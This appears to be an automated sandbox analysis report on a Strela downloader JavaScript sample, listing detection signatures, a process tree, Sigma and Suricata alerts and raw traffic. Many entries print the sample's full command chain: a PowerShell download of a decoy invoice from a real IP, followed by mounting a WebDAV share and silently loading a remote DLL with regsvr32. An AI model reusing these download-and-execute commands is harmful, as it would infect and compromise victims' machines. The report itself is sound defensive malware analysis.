Edit tour

Windows Analysis Report
32139134812378922139.js

Overview

General Information

Sample name:	32139134812378922139.js
Analysis ID:	1588692
MD5:	17fece9762bacca55568e33421ab6a9f
SHA1:	fce3e04bbbefd520d6068475b0b7f6ee5fefcf6d
SHA256:	a463ced235c4edda502ce37fa8fba9e7a3efb641f326eb9e584842953af1d611
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7884 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7960 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8012 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7356 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7712 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1664,i,17996982894183006517,5833100182249671204,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7456 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1988 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7884	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ProcessId: 7884, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1988, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ProcessId: 7884, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8012, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1988, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6064, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1988, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32139134812378922139.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7884, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll, ProcessId: 7960, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:17:18.730866+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49707	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:17:22.149673+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:17:18.730866+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 32139134812378922139.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 32139134812378922139.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49708 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49707 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:17:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: global traffic

